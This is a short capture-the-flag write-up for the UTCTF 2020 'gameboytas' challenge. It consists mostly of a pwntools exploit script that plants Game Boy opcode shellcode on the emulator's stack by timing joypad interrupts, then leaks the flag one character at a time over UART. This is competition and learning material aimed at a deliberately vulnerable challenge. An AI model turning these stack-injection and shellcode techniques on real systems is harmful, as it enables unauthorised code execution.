Rating: 4.0

More detailed writeup [here](https://www.danbrodsky.me/writeups/utctf2020-gameboytas/)
```
from pwn import *
import re

ROUTINE_OFFSET = 322
UART = 0x01
LDH_a8_A = 0xE0
NOP = 0x00
FLAG_START = 0x12
LD_C_d8 = 0x0E
LD_A_aBC = 0x0A
INC_D = 0x13

# nops cost 4 cycles
NOP_COST = 4

char = "a"
# 16-bit architecture so we write 2 bytes to the stack each time
def write_short(byte1, byte2):
global char
short = int(str(hex(byte1)[2:]) + str(hex(byte2)[2:].rjust(2, "0")), 16)
cycles = (short - ROUTINE_OFFSET - 2) * NOP_COST
r.recvuntil("Please enter your next command: ")
r.sendline(char + " " + str(cycles))
char = chr(ord(char) ^ ord("b") ^ ord("a")) # toggle joypad inputs to trigger new interrupts

out = ""
def run_shellcode():
global out
global char
r.clean(0)
r.sendline(char + " 32000") # 32000 cycles is enough to execute the entire stack
res = r.clean(1).decode("ISO-8859-1")
print(res)
out += re.search("d: (.)P", res).groups()[0]

for _ in range(30):
r = process(["/usr/bin/java", "com.garrettgu.oopboystripped.GameBoy"])
# r = remote("3.91.17.218", 9002)

# shellcode is written in reverse order since stack grows upwards (to smaller addresses)
# but code is executed downwards (to larger addresses)
payload = [
UART, LDH_a8_A,
INC_D, LD_A_aBC,
INC_D, FLAG_START,
LD_C_d8, NOP,
]
r.sendline("a 256") # write some trash to get init routine offset out of the way
r.sendline("b 256")

for s in range(0, len(payload), 2):
write_short(payload[s], payload[s + 1])

run_shellcode()
FLAG_START += 1 # get the next flag character
char = "a"
r.close()
```

Original writeup (https://www.danbrodsky.me/writeups/utctf2020-gameboytas/).